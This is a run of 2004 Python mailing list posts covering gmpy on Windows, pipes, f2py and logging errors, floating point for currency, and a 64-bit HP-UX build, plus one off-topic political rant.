> a lot of tweaking?

I predict no need for tweaking.  I'm not sure what the support for the
MS SDK compiler is currently -- maybe somebody with more current Windows
knowledge can chime in?  It used to be that the free C compiler had no
optimization, thus the resulting gmpy would be substantially slower, but
I don't even know if that is still currently the case or not.

> > Not by magic -- I hope somebody out there owns all the needed
> Microsoft
> > software and is interested in compiling gmpy for Windows under Python
> > 2.4 and making it available, but it won't be me.
> 
> Unfortunately, us ignorant end users depend on the magic that is
> supplied by others. But that doesn't mean we're unwilling to help.
> I had no clue that there won't be any more Windows gmpy updates
> unless someone volunteers to help.

...or unless I happen to get any kind of paid consultancy contract which
requires me to have the latest MS tools, so I can justify purchasing
them (and a PC to run them on, but that's the least of issues).  A
couple of years ago I still made a substantial amount of my income
testing/delivering on Windows, but at the time Win98 (running on win4lin
on my Linux box) and MSVC++6 were sufficient for my clients'
requirements; and lately I've had not much demand for Windows work --
MacOSX, Linux and OpenBSD are it.  But that could change, of course,
e.g. if IronPython turns out to be as big as it seems it might become, I
could get to consult on programs using it (and I doubt they'll use Mono
-- MS dotnet will no doubt be required...).


> I've got an XP machine and given a choice between abandoning Python
> completely and getting a copy of the MS compiler...
> 
> Of course, I realize that handing someone a box of wrenches doesn't
> make them a mechanic. But we always have this newsgroup. I would
> rather try and fail than see gmpy whither away from lack of interest.

I'm quite willing to offer any help, short of purchasing tools I don't
otherwise need, to make gmpy run on all sorts of platforms, whether I
use them myself or not.

> > > Were you aware that there is apparently a memory leak in the
> > > gmpy.divm() function? Calling it several million time caused my
> > > computer to run out of virtual memeory. Luckily, I was able to
> > > work around it using the gmpy.invert() which didn't consume any
> > > memory regardless of how many times it was called.
> >
> > No, I was not aware of that -- I'll look into it, thanks.

I'm still not aware of any bug in gmpy because I can't reproduce your
observation (on MacOSX 10.3.5, Python 2.3).  Try this script...:

import gmpy

tot = 0
while True:
    n = input('How many more divm: ')
    if n<=0: break
    print '%d more...' % n,
    for i in xrange(n): gmpy.divm(3,7,9)
    tot += n
    print '...total %d' % tot

I've used it to perform millions of divm calls and I monitor its virtual
memory usage from the outside, and absolutely no leak shows up.  Maybe
it's in the Windows version of the underlying GMP library...?  Can any
other gmpy user try this out and report...?  Thanks!


Alex


From cy.fbp.eryvtvne at ncbybtrglxn.pbz  Wed Sep  1 08:56:11 2004
From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ)
Date: Wed, 1 Sep 2004 14:56:11 +0200
Subject: Python cannot use SMTP...
References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net>
	<KaCdnQgNs7svXKjcRVn-vA@powergate.ca>
Message-ID: <qqu5cl3m1bbj.noxsixyxzcd6$.dlg@40tude.net>

Wed, 01 Sep 2004 08:33:51 -0400, na comp.lang.python, Peter Hansen
napisa?(a):

> The first three characters are the critical part.  If they aren't
> a three-digit SMTP response code, your server is likely borken.
> If you post the results, someone might have some advice, but it's
> not likely this is a Python issue.

via telnet localhost 25:
...
Connected to localhost.
Escape character is '^]'.
db_connect: failed to connect to database: Error: Access denied for user:
'admin at localhost' (Using password: YES)
220 NS1.4U2.PL ESMTP

Strange, because I can send emails from bash using mail command. I can send
email with php scripts as well (using mail() function). php.ini file has
empty settings for SMTP, so it uses default system settings... 

--
JZ



From chrisks at NOSPAM.udel.edu  Mon Sep  6 20:30:15 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Tue, 07 Sep 2004 00:30:15 GMT
Subject: Pipe Error on Windows?
Message-ID: <ri7%c.11602$Cr5.2990@trndny08>

When I use os.popen3 to communicate through pipes under Windows, the 
data is only one-way, namely from child to parent. Below are example 
scripts. Is this a bug in the Windows implementation or am I missing 
something?
Any help is appreciated.

#----------------------------------
# controller.py
import threading
import sys
import time
import os

(w,r,e) = os.popen3('engine.py')

def receive(r):
     print 'staring recv'
     while 1:
         # get data
         try:
             data = r.readline()
         except Exception, e:
             print e
             break
         if not len(data):
             time.sleep(0.1)
             continue
         else:
             print 'controller received:', data
     print 'stopping recv'

t = threading.Thread(target=receive, args=(r,))
t.setDaemon(True)
t.start()

for i in range(5):
     time.sleep(1)
     if not w.closed:
         print >>w, 'controller '+str(i)
         w.flush()

print 'final:', ''.join(r.readlines())
print 'errors:', ''.join(e.readlines())

r.close()
w.close()
e.close()

#-------------------------
# engine.py
import sys
import threading
import time

outfile = open('enginetest.data', 'w')

def receive():
     global outfile
     print >>outfile, 'starting recv'
     while 1:
         # get data
         try:
             data = sys.stdin.readline()
         except Exception, e:
             print >>outfile, 'error:', e
             break
         if not len(data):
             time.sleep(0.1)
             continue
         else:
             print >>outfile, data
         print >>outfile, data
     print >>outfile, 'stopping recv'

t = threading.Thread(target=receive)
t.setDaemon(True)
t.start()

for i in range(4):
     time.sleep(1)
     if not sys.stdout.closed:
         print >>sys.stdout, 'engine',str(i)
         sys.stdout.flush()

outfile.close()


From marfadeut at gmx.de  Sat Sep 25 18:43:50 2004
From: marfadeut at gmx.de (M. Faust)
Date: Sun, 26 Sep 2004 00:43:50 +0200
Subject: f2py error - windows xp (F2PY-2.43.239_1806)
In-Reply-To: <cj4r5l$9nm$1@online.de>
References: <cj4pgc$7dr$3@online.de> <m2zn3eq9xi.fsf@pchoel.psh>
	<cj4r5l$9nm$1@online.de>
Message-ID: <cj4scc$b44$1@online.de>

M. Faust wrote:
> 
> I got the same error with NumPy 23.3.
> 
> Markus
numpy_info:
   FOUND:
     define_macros = [('NUMERIC_VERSION', '"\\"23.3\\""')]
     include_dirs = ['D:\\Python23\\include']

running build
running config_fc
running build_src
building extension "hello" sources
f2py:> d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\hellomodule.c
creating d:\dokume~1\faust\lokale~1\temp\tmp57wwzd
creating d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src
Reading fortran codes...
         Reading file 'hello.f'
Post-processing...
         Block: hello
                         Block: foo
Post-processing (stage 2)...
Building modules...
         Building module "hello"...
                 Constructing wrapper function "foo"...
                   foo(a)
         Wrote C/API module "hello" to file 
"d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src/hellomodule.c"
   adding 
'd:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c' to sources.
   adding 'd:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src' to include_dirs.
copying D:\Python23\lib\site-packages\f2py2e\src\fortranobject.c -> 
d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src
copying D:\Python23\lib\site-packages\f2py2e\src\fortranobject.h -> 
d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src
running build_ext
No module named msvccompiler in scipy_distutils, trying from distutils..
customize MSVCCompiler
customize MSVCCompiler using build_ext
0
customize CompaqVisualFCompiler
customize CompaqVisualFCompiler using build_ext
building 'hello' extension
compling C sources
D:\Programme\Microsoft Visual Studio\VC98\BIN\cl.exe /c /nologo /Ox /MD 
/W3 /GX /DNDEBUG -ID:\Python23\include -Id:\dokume~1\faust\l
okale~1\temp\tmp57wwzd\src -ID:\Python23\include -ID:\Python23\PC 
/Tcd:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c /
Fod:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.obj
fortranobject.c
d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c(576) : 
error C2039: 'weakreflist' : is not a member of 'PyArrayObject'

         D:\Python23\include\Numeric/arrayobject.h(49) : see declaration 
of 'PyArrayObject'
d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c(576) : 
error C2039: 'weakreflist' : is not a member of 'PyArrayObject'

         D:\Python23\include\Numeric/arrayobject.h(49) : see declaration 
of 'PyArrayObject'
d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c(576) : 
error C2039: 'weakreflist' : is not a member of 'PyArrayObject'

         D:\Python23\include\Numeric/arrayobject.h(49) : see declaration 
of 'PyArrayObject'
d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c(576) : 
error C2039: 'weakreflist' : is not a member of 'PyArrayObject'

         D:\Python23\include\Numeric/arrayobject.h(49) : see declaration 
of 'PyArrayObject'
error: Command ""D:\Programme\Microsoft Visual Studio\VC98\BIN\cl.exe" 
/c /nologo /Ox /MD /W3 /GX /DNDEBUG -ID:\Python23\include -Id
:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src -ID:\Python23\include 
-ID:\Python23\PC /Tcd:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src
\fortranobject.c 
/Fod:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.obj" 
failed with exit status 2



From indigo at bitglue.com  Thu Sep  2 10:53:38 2004
From: indigo at bitglue.com (Phil Frost)
Date: Thu, 2 Sep 2004 10:53:38 -0400
Subject: namespace question
In-Reply-To: <OAFZc.303096$gE.251089@pd7tw3no>
References: <OAFZc.303096$gE.251089@pd7tw3no>
Message-ID: <20040902145338.GA9040@unununium.org>

I'm not sure I understand what you are asking, but maybe globals() is
what you want?

On Thu, Sep 02, 2004 at 01:52:46PM +0000, Elaine Jackson wrote:
> I would like to be able to write a function f, which will live in a module M,
> and will call a function g, such that, when f is imported from M into the
> interpreter, and invoked there, its invokation of g will return the
> interpreter's global namespace. Is there a way to do this and, if so, how?
> Muchas gracias for any and all assistance.
> 
> Peace


From ed at leafe.com  Mon Sep  6 12:59:19 2004
From: ed at leafe.com (Ed Leafe)
Date: Mon, 6 Sep 2004 12:59:19 -0400
Subject: wxSizer: Define sizer hierarchie before putting controls in or
	vice versa?
In-Reply-To: <39cbe663.0409050623.5cef2d4d@posting.google.com>
References: <39cbe663.0409050623.5cef2d4d@posting.google.com>
Message-ID: <17FCBB5C-0026-11D9-A726-003065B11E84@leafe.com>

On Sep 5, 2004, at 10:23 AM, Piet wrote:

> Or doesn?t it make any difference and all
> the sizes and sizers are calculated anyways when the
> wx.Window.SetSizer(wx.Sizer),wx.Window.SetAutoLayout(True) and
> wx.Sizer.Fit(wx.Window) functions are run before before the window is
> finally made visible?

	In my experience, it doesn't make any difference. Perhaps there is a 
minor performance advantage one way or the other, but not enough for me 
to ever worry about.

      ___/
     /
    __/
   /
  ____/
  Ed Leafe
  http://leafe.com/
  http://dabodev.com/



From michael at hobbshouse.org  Tue Sep 21 19:32:14 2004
From: michael at hobbshouse.org (Michael Hobbs)
Date: Tue, 21 Sep 2004 18:32:14 -0500 (CDT)
Subject: Why not FP for Money?
Message-ID: <51147.209.46.8.140.1095809534.squirrel@mail.hobbshouse.org>

> What am I missing here?

At the most fundamental level, the problem is that 2 or any power of 2
cannot be evenly divided by 10. Let me explain...

Every currency system that I know of uses decimal fractions to represent
cents, shillings, etc. Therefore, to accurately represent precise currency
values, one needs to either use the decimal system, or a system that can
precisely map to the decimal system. Binary, unfortunately, is *not* such
a system.

To represent one half in decimal, you would write 0.5 because 5 * 2 = 10;
carry the decimal = 1.0. To represent one half in binary, you would write
0.1 because 1 * 10 = 10; carry the decimal = 1.0. Following the same
exercise, to represent one fourth in decimal you would write 0.25 because
25 * 4 = 100; carry the decimal = 1.0. To represent one fourth in binary
you would write 0.01 because 01 * 100 = 100; carry the decimal = 1.0. The
problem comes when trying to represent one tenth. Again, to represent one
tenth in decimal you would write 0.1 because 1 * 10 = 10; carry the
decimal = 1.0. To represent one tenth in binary, however, you would write
0.110011001100110011001100 (and so on) because two is not evenly divisible
by ten. Therefore, there is no number that can be multiplied by 1010 (ten)
to yield 1, 10 (two), 100 (four), 1000 (eight), or any other multiple of
two.

We often encounter this same problem when trying to represent thirds in
the decimal system. Since 10 is not evenly divisible by 3, we have to
approximate one third by writing 0.33333333333333 (and so on).

The end result is that you cannot use binary fractions to precisely
represent decimal fractions. To represent decimal fractions in a binary
system, you first need to shift the decimal point so that there is no more
fraction and then work from there.





From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org  Fri Sep 10 19:33:21 2004
From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan)
Date: Fri, 10 Sep 2004 23:33:21 -0000
Subject: Xah Lee's Unixism
References: <1ctshc.kd52.ln@via.reistad.priv.no>
Message-ID: <10k4ee1l5tavtf9@corp.supernews.com>

# I just don't get it. The stated agenda is either misstated, or grossly
# misimplemented.

You haven't been listenning carefully enough. The agenda is to destroy the UN.
Neo-conservatives recognise that if the UN becomes powerful enough to deal with
people like Saddam Hussein, then it can deal with Bush as well. People
like Kissinger are still running around as big shots in America while other
countries consider him a war criminal.

There are actually idiots that believe the US will remain the most powerful
military forever (or until God ends the world a few years from now). The
rest who know that power is fleeting have two options: construct a world of
comprehensive cooperative political structures, or batter any possible opponents
so they cannot attack the eventually weakenned US.

The first choice was the one (more or less) followed by the US since about 1945
through 2000. It has a long history of success behind: while not yet of that scale,
the notion of uniting disparate political units to a larger whole for mutual
security and mutual trade has worked time and time again: modern England out of the
old feudal lords, or the US out of thirteen colonies. Up side: long term peace and
stability for your grandchildren. Down side: your own power is eclipsed by the
centralised power.

The second choice has been followed by the US since 2001. Again there is a long
history behind, always ending in failure: Persian empires, Roman Empires, Chinese
empires, etc. You can never inflict enough damage on your opponents so that once
you do weaken they cannot strike back and eviscerate your corpse. Up side: you
continue to live in wealth and luxury as long as you die before the bill comes due.
Down side: your grandchildren will curse your name if they survive.

So why follow a course known to end in disaster? Pride? Greed? Delusion that
the end of the world is nigh and God will forgive warmaking and genocide?


There is a second agenda which is also being implemented successfully. Conservatives
want to dismantle government because it interferes with their private pursuit
of profit and power (see also Miliken and Quatrone). Actually repealing the legal
framework has been unsuccessful: no matter how appealing their claims about taxes
and regulation, when push comes to shove, most people want a government that's
powerful enough to provide for the sick and old, stop quacks from killing patients,
stop manufacturers from killing customers, and to have water and air that are not
fatal to touch.

So since 1980 the conservatives still whine about big government, but they are quite
happy to increase the government size and expenditure. While cutting taxes. The net
effect is a government that is increasingly in debt. The long term goal is to get
the government so heavily indebted that it can no longer borrow money. Then it will
collapse of its own dead weight.

--
SM Ryan http://www.rawbw.com/~wyrmwif/
No pleasure, no rapture, no exquiste sin greater than central air.


From steven.bethard at gmail.com  Thu Sep 23 16:55:07 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 23 Sep 2004 20:55:07 +0000 (UTC)
Subject: Unexpected result.
References: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca>
	<ytG4d.8046$gG4.3412@newsread1.news.pas.earthlink.net>
Message-ID: <loom.20040923T225339-421@post.gmane.org>

Andrew Dalke <adalke <at> mindspring.com> writes:
>  >>> for i in range(5):
> ...   class Spam:
> ...     for i in "ABC":
> ...       print i,

Wow, that's an awesome abuse of classes.  How cool! =)

Steve





From m.a.r.k at gmx.de  Mon Sep 27 12:42:58 2004
From: m.a.r.k at gmx.de (Markus)
Date: Mon, 27 Sep 2004 18:42:58 +0200
Subject: [Mac OS X] How to create double-clickable Python scripts
Message-ID: <cj9fuk$7ci$01$1@news.t-online.com>

Hello,

I've written a couple of Python scripts on OS X that I would like to 
start from the Finder by doing a double-click on them. I guess I have to 
create a Package.

Does anybody know an easy way to create such a package? Or where can I 
find more information about how to do this manually?


Thanks,

Mark


From abra9823 at mail.usyd.edu.au  Sun Sep  5 10:39:58 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Mon,  6 Sep 2004 00:39:58 +1000
Subject: simple question
Message-ID: <1094395198.413b253e46462@www-mail.usyd.edu.au>

hi!

i have created a logger
self.logger = logging.getLogger('smsapp')
hdlr = logging.FileHandler('logs/smsapp.log')
formatter = logging.Formatter ('%(asctime)s %(levelname)s %(message)s')
hdlr.setFormatter(formatter)
self.logger.addHandler(hdlr)
self.logger.setLevel(logging.DEBUG)

when i log an error
self.logger.error("Illegal date index, "  str(dateIndex))
i get an error in my code
Traceback (most recent call last):
  File "/usr/local/lib/python2.3/logging/__init__.py", line 674, in emit
    msg = self.format(record)
  File "/usr/local/lib/python2.3/logging/__init__.py", line 567, in format
    return fmt.format(record)
  File "/usr/local/lib/python2.3/logging/__init__.py", line 362, in format
    record.message = record.getMessage()
  File "/usr/local/lib/python2.3/logging/__init__.py", line 233, in
getMessage
    msg = msg % self.args
TypeError: not all arguments converted during string formatting

dateIndex is an int

thanks

cheers


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From alexander.hoffmann at netgenius.de  Mon Sep  6 10:28:15 2004
From: alexander.hoffmann at netgenius.de (Alexander Hoffmann)
Date: Mon, 6 Sep 2004 16:28:15 +0200
Subject: profiling all threads
Message-ID: <200409061628.15072.alexander.hoffmann@netgenius.de>

Hello,

I would like to profile a multi-threaded application with the profile module 
under Pyhton 2.3.4. 
Unfortunately the result only includes information about the main. 
This is how I invoke the profiler:
        import profile
        profile.run('main ()', 'data.prof')

and afterwards :

import pstats
p.sort_stats('name')
p.print_stats()

Am I doing something wrong ?

Thanks to all in advance !
Alex


From egbert.list at hccnet.nl  Sat Sep 25 16:57:35 2004
From: egbert.list at hccnet.nl (Egbert Bouwman)
Date: Sat, 25 Sep 2004 22:57:35 +0200
Subject: Why subclass Borg ?
In-Reply-To: <1gkkomd.1sbiw5015dim9zN%aleaxit@yahoo.com>
References: <cisjhb$6kr$1@news-int.gatech.edu>
	<y%l4d.470$zG1.387@newsread3.news.pas.earthlink.net>
	<4151f867$1@nntp0.pdx.net>
	<1gkkomd.1sbiw5015dim9zN%aleaxit@yahoo.com>
Message-ID: <20040925205735.GA3261@mirk.lan>

On page 208 in the cookbook Alex seems to say that the Borg class
should be subclassed. I don't see the necessity.
Just take the original four-lined Borg(), give it a suitable name,
maybe add some arguments, add oher methods, and instantiate it.
Or am I missing something again ?
egbert
-- 
Egbert Bouwman - Keizersgracht 197 II - 1016 DS  Amsterdam - 020 6257991
========================================================================


From flacco002 at spambadTwilight-systems.com  Wed Sep  8 19:27:38 2004
From: flacco002 at spambadTwilight-systems.com (flacco)
Date: Wed, 08 Sep 2004 19:27:38 -0400
Subject: container-indepentent iteration code ?
Message-ID: <10jv5ad1sjgep4d@corp.supernews.com>


is there a way to iterate over the *values* in a list/dict/whatever, 
regardless of whether it's a list, dict, or whatever?  ie, the iteration 
code will not know beforehand what kind of container it's getting.




From me at privacy.net  Sat Sep 25 14:20:47 2004
From: me at privacy.net (Richard Hanson)
Date: Sat, 25 Sep 2004 11:20:47 -0700
Subject: Why not FP for Money?
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>	<mailman.3872.1096056806.5135.python-list@python.org>	<cj2ehb$h95$0$216.39.172.122@theriver.com>
	<mailman.3884.1096073978.5135.python-list@python.org>
	<10l9je9993jlfa3@corp.supernews.com>
Message-ID: <h1abl0tb441isjtv35a69b7562v73ik33v@4ax.com>

[Concerning Decimal's behavior re precision retention:]

Jeff Shannon wrote:

> Personally,  I think that it makes the most sense (i.e., will result in 
> the fewest surprises) if the greatest possible number of places is 
> preserved. 
>
> [snip the rest of Jeff's excellent comments and examples]

+1

I agree with Jeff. (Although, I'll allow that more discussion may shed
additional light on this issue.)

It seem to me that Decimal should not be conflated with, or restricted
to, the concept of "real-world measurements" wherein retention of only
partial precision may be warranted. These are orthogonal things. (I'm
not saying that such conflation is happening; I'm only adding my
thoughts on the subject.)

Note that even in the "measurements" problem-domain, error-analysis
gets *quite* tricky in complex trains of calculations such as
encountered in my field of land surveying, and more generally, in most
science and engineering calculations.[1] "Proving" how much precision
should be retained in real-world calculations involving "observations"
(as surveyors and geodesists call such) can be quite difficult if not
outright intractable. A common strategy is to make a best-guess
attempt at error-analysis (an approximate analysis, as it were), and
then retain more (sometimes much more) precision, and round after the
calculation train is finished.

And to reiterate this point: There may also be a need for exact
decimal numbers used in calculations not involving observations where
any truncation or rounding would represent an undesirable loss of
information and could lead to problems such as Jeff described -- as
well as other difficulties. 

I'm in favor of Decimal retaining the maximum precision (as specified
in the user's current Context) and then let the user round after the
calculation train is completed (using Context's ample ability for
such) as best as can be determined from the error analysis -- if such
analysis and rounding is appropriate. This would keep Decimal as
general as possible, and therefore, usable in the widest range of
use-cases.

For what it's worth, I also think the decision not to have a Decimal
constructor for floats is the right one -- for reasons related to
points in this post, and also, for reasons which others have already
explicitly pointed out.

(As to Decimal literals, I'm not finding a need for such in my COGO
sketches -- the normal constructors from strings or ints seems to work
fine for my use-cases. However, I can see that there may be some users
who find the current constructors slightly verbose[2] or "less
readable" -- more discussion may help determine the way forward re
this particular issue.)

(I also don't think that Decimal should be thought of as *only* a
"money" type; but this latter point already seems to be the
consensus.)


Richard Hanson
_______________________________________________
[1] The _HP-15C Advanced Functions Handbook_, (C) Hewlett-Packard
Company, 1982 has an excellent introduction to error-analysis in its
appendix "Accuracy of Numerical Calculations." More complete
discussions can be found in advanced surveying texts.

[2] A rather obvious simple reduction in typing can be realized by
using "from decimal import Decimal as D" which makes the constructor
from strings merely "D('8147307403831077403041.740817404170342')" for
example. (Sans my double-quotes, of course).

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From julioperezsosa at yahoo.com  Sun Sep 19 19:53:38 2004
From: julioperezsosa at yahoo.com (julio)
Date: Sun, 19 Sep 2004 19:53:38 -0400
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<pan.2004.09.20.19.27.30.753994@jerf.org>
Message-ID: <cil665$rjn$1@sea.gmane.org>

Jeremy Bowers wrote:

> On Sun, 19 Sep 2004 17:58:44 -0400, julio wrote:
>> It realy makes no sense , no sense at all.
> 
> C# is that-a-way --->
> 
> HTH.
> 

So am i missing something ? are any of my arguments wrong ? again : 

 monodevelop is free
 sharpdevelop is free and is going to be ported to linux next version



 



From me at privacy.net  Sat Sep 25 22:47:30 2004
From: me at privacy.net (Richard Hanson)
Date: Sat, 25 Sep 2004 19:47:30 -0700
Subject: [OT] "Pre-announcement" of Python-based
	"computing	appliance"project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com>	<du78yayby1a.fsf@mozart.cc.tut.fi>
	<cj4ul0$nt5$1@sea.gmane.org>
	<mailman.3916.1096160356.5135.python-list@python.org>
Message-ID: <oh7cl05ph81r8vd4ih33laqibri95qn5p9@4ax.com>

[Attributions fixed, slightly. Some kind of strange quantum
entanglement seems to be going on here, somehow... Strings... er...
threads broken and attributions teleporting... ;-) ]

Stephen Waterbury wrote:

> (sorry, this looked like too much fun ... :)

Me, too! ;-)

> > "Ville Vainio" <ville at spammers.com> wrote in message
> > 
> > > A thing like "probability" just can't exist in the ultimate Reality.

No comment. :-)

> [...] QM may be the ultimate framework
> for an observer/observable-based theory of physics, 

But, but... How can *QM* be the ultimate framework? -- it doesn't
include gravity (GR).

> and since
> the observer/observable paradigm is fundamental to science,

Are you sure about that? ;-)

> it might be "as good as it gets", in which case an "ultimate
> reality" that is meaningful in the context of the scientific
> method might well require probability.

Leaving aside the determinate-indeterminate question, a case could be
(iconoclastically) made that the observer-observable "paradigm" was
*excluded* not *included* by GR and QM. You might say that GR and QM
take the "observer" *out* of the picture. In GR you could say that the
observer is transformed away -- it's all relative, and all that.
Likewise, in QM it seems that a robot taking measurements is
sufficient to "collapse the wave function." Of course, you could also
argue that robots are people, too. ;-)

The current work by physicists in all this is to find a way to
*combine* both QM and GR into a unified theory which works at all
scales and matter-energy densities. 

And then, what's all this dark matter and dark energy stuff?... ;-)

To slightly paraphrase Richard Feynman, no one even understands
*quantum mechanics*. :-)

> Of course, if you want to transcend observer/observable, you
> have to go beyond science, and into the realm of "Cosmajoonity"
> (see Freeman Dyson's delightful book "Disturbing the Universe" :).

Ultimately, many things may not be knowable in principle. How can
"all" be knowable to humans who are part of the very "system" being
considered, i.e., the cosmos? :-)


all-in-fun'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From gomoSINSPAM at datafull.com  Sun Sep 12 11:25:32 2004
From: gomoSINSPAM at datafull.com (=?iso-8859-1?q?Gonzalo_Sainz-Tr=E1paga_=28GomoX=29?=)
Date: Sun, 12 Sep 2004 12:25:32 -0300
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<7xacvwn01v.fsf@ruckus.brouhaha.com>
Message-ID: <pan.2004.09.12.15.25.32.506175@datafull.com>

On Sat, 11 Sep 2004 11:16:28 -0700, Paul Rubin wrote:

> MD5 and SHA-0 had collisions found.

I don't think so. Would you mind posting a link?



From nelson at monkey.org  Fri Sep 24 11:45:21 2004
From: nelson at monkey.org (Nelson Minar)
Date: Fri, 24 Sep 2004 15:45:21 GMT
Subject: Python and Sybase
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
Message-ID: <cpallezisbz.fsf@cabernet.nelson.monkey.org>

David Rysdam <drysdam at ll.mit.edu> writes:
> What module is most recommended for accessing Sybase from Python?
> This one: http://www.object-craft.com.au/projects/sybase/sybase/  ?

While we're here, is there a free module for accessing SQLServer from
Python? Last I checked this Sybase driver was the only option.


From gerrit.muller at embeddedsystems.nl  Tue Sep 21 03:56:09 2004
From: gerrit.muller at embeddedsystems.nl (Gerrit Muller)
Date: Tue, 21 Sep 2004 09:56:09 +0200
Subject: python-dev Summary for 2004-08-16 through 2004-08-31
In-Reply-To: <mailman.3602.1095714046.5135.python-list@python.org>
References: <mailman.3602.1095714046.5135.python-list@python.org>
Message-ID: <ciomqp$glm$1@news.tue.nl>

Brett C wrote:

> python-dev Summary for 2004-08-16 through 2004-08-31
<..snip..>
> .. _last summary: http://www.python.org/dev/summary/2004-08-16_2004-08-31.html
> .. _original text file: http://www.python.org/dev/summary/2004-08-16_2004-08-31.ht 

these links don't seem to work? Is this report already uploaded?

regards, Gerrit
-- 
Gaudi systems architecting:
<http://www.extra.research.philips.com/natlab/sysarch/>



From markus.cl at gmx.de  Mon Sep 20 23:09:56 2004
From: markus.cl at gmx.de (Markus Dehmann)
Date: Mon, 20 Sep 2004 23:09:56 -0400
Subject: Python for Perl programmers?
References: <c1e48b51.0409201820.217e1dd@posting.google.com>
	<414f98a5@news01.argolink.net>
Message-ID: <2r9kfhF179tliU1@uni-berlin.de>

John Zhuang wrote:

>       Perl To Python Migration
>       By Martin C. Brown
> 
>       Publisher : Addison Wesley
>       Pub Date : November 01, 2001
>       ISBN : 0-201-73488-5
>       Pages : 320

Is a 2001 book still okay? Or would I have to learn a new python version
afterwards?

Thanks
Markus


From exarkun at divmod.com  Mon Sep 20 11:31:45 2004
From: exarkun at divmod.com (exarkun at divmod.com)
Date: Mon, 20 Sep 2004 15:31:45 GMT
Subject: unsigned long to float.
In-Reply-To: <cimsoo$e6b$1@gateway.northropgrumman.com>
Message-ID: <20040920153145.29723.992972115.divmod.quotient.4123@ohm>

On Mon, 20 Sep 2004 10:25:53 -0500, "kingjames" <jf.davis at ngc.com> wrote:
>I have a c30 to ieee float converter algorithm that takes binary data from a
> c30, does some bit munipulation and stores the answer (i'm using unsigned
> longs for the processing).  When I come up with the answer, if I was in C or
> Fortran, I could use either a union or equivalence to see the number in
> floating point rather than the representation in unsigned long.  I have
> found no equivalence in python of union or equvalence.  I could take the
> unsigned long, write it to a binary file and read it back in as a float.
> This would work, accept I do not want the overhead of io.  What can I do to
> see this unsigned long as a float?

  http://www.python.org/doc/lib/module-struct.html

  Jp


From wangjc101 at yahoo.com  Wed Sep 29 23:07:37 2004
From: wangjc101 at yahoo.com (Jhy-Chun Wang)
Date: Wed, 29 Sep 2004 20:07:37 -0700
Subject: 64-bit Python 2.3.latest on HP-UX 11.23: success
In-Reply-To: <c4f45067.0409251244.74ee1760@posting.google.com>
References: <c4f45067.0409251244.74ee1760@posting.google.com>
Message-ID: <cjftb6$6ik$1@news1nwk.SFbay.Sun.COM>

Matej,

Could you send me the Makefile and pyconfig.h you used for 64bit build? 
although I will be trying it on Solaris, anything related to 64bit build 
helps.

Thanks,

Jhychun Wang
wangjc101 at yahoo.com


Matej Kenda wrote:
> Hi all,
> 
> This message is to let you know that I have successfully compiled the latest
> sources from the 2.3 branch on the abovementioned OS using the HP ansiC
> compiler version 5.50.
> 
> Final status: success, it works fine
> 
> ---
> 
> The procedure:
> 
> 1. Get the latest sources of 2.3
> 
> cvs -z3 -d:pserver:anonymous at cvs.sourceforge.net:/cvsroot/python co -r \
> release23-maint python 
> 
> 2. Install the 64-bit OpenSSH downloaded from HP
> 
> 3. Run configure script with additional CFLAGS
> 
> export CFLAGS="-Ae +DD64 -mt -O0 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
> "
> ./configure --prefix=/usr/local/aCCPython
> 
> 
> 4. Edit Makefile to add support for 64-bit compilation and turn off
> optimisation.
> 
> I got the hint to remove the optimisation in the README file. I didn't try
> to turn the optimisation on, but it may work with the recent ansiC
> compiler.
> 
> Diff between the generated Makefile and modified one:
> 
>  # Compiler options
> -OPT=           -DNDEBUG -O
> -BASECFLAGS=
> +OPT=           -O0
> +BASECFLAGS=    +DD64 -mt
>  CFLAGS=                $(BASECFLAGS) $(OPT)
> -CPPFLAGS=      -I. -I$(srcdir)/Include
> -LDFLAGS=
> +CPPFLAGS=      -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I.
> -I$(srcdir)/Include
> +LDFLAGS=       +DD64 -mt
> -LINKFORSHARED= -Wl,-E -Wl,+s
> +LINKFORSHARED= -Wl,-E -Wl,-s +DD64
>  # Extra C flags added for building the interpreter object files.
> -CFLAGSFORSHARED=
> +CFLAGSFORSHARED= +z
> 
